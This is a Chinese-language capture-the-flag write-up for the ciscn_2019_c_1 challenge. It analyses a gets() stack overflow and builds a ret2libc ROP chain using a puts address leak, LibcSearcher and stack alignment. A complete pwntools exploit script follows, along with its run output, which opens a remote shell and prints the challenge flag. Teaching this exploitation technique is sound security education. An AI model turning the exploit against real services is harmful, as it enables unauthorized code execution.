检测一下啊
发现NX保护: 堆栈不可执行
然后没有地址随机化(很重要)
载入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
int option; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
give_choose(); // 1 enc 2 dec 3 exit
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
option = 0;
__isoc99_scanf("%d", &option);
getchar();
if ( option != 2 )
break; // 输入不是解密就退出
puts("I think you can do it by yourself");
give_choose();
}
if ( option == 3 ) // 退出
{
puts("Bye!");
return 0;
}
if ( option != 1 ) // 乱输入
break;
encrypt(); // 选择了加密
give_choose();
}
puts("Something Wrong!");
return 0;
}
分析得:没有明显的溢出漏洞
只能输入4字节,然后只有几个有效的选项
a. 退出
b. 加密
c. 其它选项
所以不能输入解密选项,当我们进入加密选项
来到加密函数
int encrypt()
{
size_t v0; // rbx
char input[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(input, 0, sizeof(input));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(input);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(input) )
break;
if ( input[x] <= 96 || input[x] > 122 )
{
if ( input[x] <= 64 || input[x] > 90 )
{
if ( input[x] > 47 && input[x] <= 57 )
input[x] ^= 0xFu;
}
else
{
input[x] ^= 0xEu;
}
}
else
{
input[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(input);
}
发现在encrypt函数中存在gets栈溢出漏洞,没有限制s的输入长度,
所以我们的总体思路就是利用gest的栈溢出漏洞
写入一个我们可以利用的后门函数地址
char input[48]; // rbp-50h
rip ; // rbp+8
所以我们要写入的数据是0x58个字节(最好是插入0,strlen(xx)=0,然后就不经过加密函数)
然后再写入8字节的可覆盖地址
ps:这只是存在的一个栈溢出漏洞,关于怎么利用这个漏洞,还是一个问题
这个题目的一个突破可就是通过已经有的puts去泄露libc版本号
然后通过libc的信息去获取system函数和字符串/bin/sh的真实地址
第一次利用缓冲区溢出漏洞去获取libc版本号
第二次利用缓冲区溢出漏洞前往system函数
如何获取libc版本号?
-
gets缓冲区溢出,去往puts函数,puts打印elf.got['puts']的信息
-
python的LibcSearcher模块返回libc的版本
知识背景:
通过python模块LibcSearcher,
然后传入一个已经存在的函数的真实地址
我们就可以获取libc的版本号
然后获取其它数据和资源的真实地址
关于地址:
libc = LibcSearcher('puts',puts_real)
libc.dump('puts') #返回puts函数在libc的原始地址
libc.dump('system') #返回system函数在libc的原始地址
libc.dump("str_bin_sh") #返回str_bin_sh字符串在libc的原始地址
elf.plt['puts']是什么?
他是一个指针,指向了这个数据块(本质是puts函数的jmp跳转),类似于IAT表
elf.got['puts']是什么
他是一个指针,指向了一个数据块(本质是一个函数)
所以,我们如何去往puts,也就是把缓冲区溢出到elf.plt['puts']指向的地方就可以了
也就是溢出到那个jmp
如何给puts传递参数?
puts函数用的是寄存器传递参数,用的是rdi
但是缓冲区溢出操作的是栈
于是我们可以把参数入栈,然后pop rdi 实现传递参数
所以我们要先把已经准备在栈里面的elf.got['puts']
给POP RDI
然后去往elf.plt['puts']
于是就打印出*elf_got_puts的数值
然后我们接收即可
问题1:如何去往pop rdi ;retn
那么我们就需要寻找类似于
pop rdi
ret
的指令
通过gest溢出,栈的一些情况
esp + 0 :elf.got['puts'] #在got中的位置 .got.plt:0000000000602020 off_602020 dq offset puts
esp + 8 :elf.plt['puts'] #在plt中的位置 .plt:00000000004006E0 jmp cs:off_602020
然后
pop rdi
retn
python的ROPgadget模块,扫描二进制文件,可以寻找pop rdi 和 ret的指令
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
ps:输入这个会报错,提醒缺少某些东西,然后就去下载就可以了
搜索elf文件中所有的ret或者pop
指令的地址
这里搜索的是可能形成ret或者pop指令的地址
而不是真正的以前就有的ret和pop地址,比如有些指令,我们需要用IDA的U/C键才可以生成pop rdi 和 retn
如果只要ret的话输入,可以这样输入
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"
┌──(root㉿kali)-[/home/kali/code]
└─# ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
Unique gadgets found: 15
于是我们发现0x0000000000400c83
存在 pop rdi ; ret
小问题2: 接受几个字节
8?
puts是存在0截断的
也就是如果puts输出(0x7f1234567800)
它会什么也不输出,因为puts遇到了00,直接结束了
如果处理这种情况?不太知道,听别人说把数值处理一下,再输出,,,怎么处理???
还好这个题目的地址一般不会存在00的截断
而我们的libc函数的地址通常长这个样子
libc.so.6:00007F3350BD6820 puts:
libc.so.6:00007F3350BD6820 push r14
也就是占用6字节,所以我们接受6字节即可
接受的6字节,扩充00到8字节,就是puts的elf.got['puts']指向的值
加入我们接受的地址是puts_realaddr
然后通过LibcSearcher模块
libc = LibcSearcher('puts',puts_realaddr)
我们就可以获取libc的版本号
但是....相同的地址,可能对应了不同的版本号
所以还得一个一个的试一下
于是在gets缓冲区溢出的条件下构造第一个payload
payload1 = b'a'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
先去往pop_rdi,把puts_got弹出到rdi
然后去往puts_plt.输出puts的真实地址
最后函数返回到main(为什么还要回到main,因为我们还要再次利用gets的漏洞)
这个过程中,我们需要计算systen和/bin/sh的真实地址
当int encrypt()
函数返回到int main()
我们还要构造第二个payload
它会在int encrypt()
返回的时候,去往system
在这之前,我么得把参数传递好,参数用的是rdi 传递的原理同puts一样
通过上面的解说,其实我们还是不能得出正确的exp
因为还有一个细节我们没有考虑到
那就ubuntu18后,进入一个函数的时候,要求栈地址是16的倍数
如果我们不进行一个栈地址的对齐
那么在进入system函数之前,会发现地址00007FFE5D0471D8不是16的倍数
然后运行就g了
所以我们得往栈里面添加一些垃圾数据
怎么个添加方法? 那就把之前的数据往下移动8字节,然后我们插入8字节
来达到进入system之前,栈地址是16的倍数
插入什么?
可以往栈里面写入个rip的相关地址
然后通过ret去抹去这个地址
比如栈
某个ret的地址A
pop rdi; ret 的地址B
/bin/sh字符串地址C
system函数的地址D
当我们函数最后ret的时候
就会去往地址A,地址A ret 去往地址B
比如修正后,进入system函数的时候,地址就是00007FFF187CD780
然后就可以执行system成功
完整exp如下
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
c = remote("node4.buuoj.cn",26409)
elf = ELF('ciscn_2019_c_1')
ret = 0x4006b9
#栈对齐时使用的ret ubuntu18以上环境64位程序在调用system函数的时候会对栈进行一次检查,
#此时栈中的内存必须是16位对齐的
pop_rdi_ret = 0x400c83
puts_plt = elf.plt['puts'] #在plt中的位置 .plt:00000000004006E0 jmp cs:off_602020
puts_got = elf.got['puts'] #在got中的位置 .got.plt:0000000000602020 off_602020 dq offset puts
main_addr = elf.symbols['main'] #main函数的位置 返回主函数再进行下一次溢出
payload1 = b'\0'*(0x58) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#这里
c.sendlineafter("Input your choice!",'1')
c.sendlineafter("Input your Plaintext to be encrypted",payload1) # 利用缓冲区溢出的漏洞
c.recvuntil("Ciphertext\n")#直到对方输出"Ciphertext\n"才返回
c.recvline()#接收一行数据再返回
puts_real = u64(c.recv(6).ljust(8,b'\x00'))
#接受6字节的数据,然后填充00扩展到8字节
#print(puts_real)
libc = LibcSearcher('puts',puts_real)
#在这里,会有个分支,告诉你有哪些版本号
offset = puts_real - libc.dump('puts')
system_real = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump("str_bin_sh")
payload2 = b'\0'*(0x58) + p64(ret)+ p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_real)
c.sendlineafter('Input your choice!\n', '1')
c.sendlineafter('Input your Plaintext to be encrypted\n', payload2)
c.interactive()
[x] Opening connection to node4.buuoj.cn on port 26324
[x] Opening connection to node4.buuoj.cn on port 26324: Trying 117.21.200.166
[+] Opening connection to node4.buuoj.cn on port 26324: Done
[*] '/home/kali/code/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
<ipython-input-1-451f5befd0fd>:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
c.sendlineafter("Input your choice!",'1')
/home/kali/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
<ipython-input-1-451f5befd0fd>:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
c.recvuntil("Ciphertext\n")#直到对方输出"Ciphertext\n"才返回
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-7.fc33.i686
3 - libc-2.32-8.fc33.i686
4 - libc-2.32-10.fc33.i686
5 - libc6_2.27-0ubuntu3_amd64
6 - libc6_2.27-0ubuntu2_amd64
7 - libc6_2.19-0ubuntu6.5_amd64
8 - libc-2.32-6.fc33.i686
9 - libc-2.36-22.mga9.i586
[+] Choose one : 5
<ipython-input-1-451f5befd0fd>:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
c.sendlineafter('Input your choice!\n', '1')
[*] Switching to interactive mode
Ciphertext
cat flag
flag{2ed3e72c-74df-4070-8ad3-7b44593e88bb}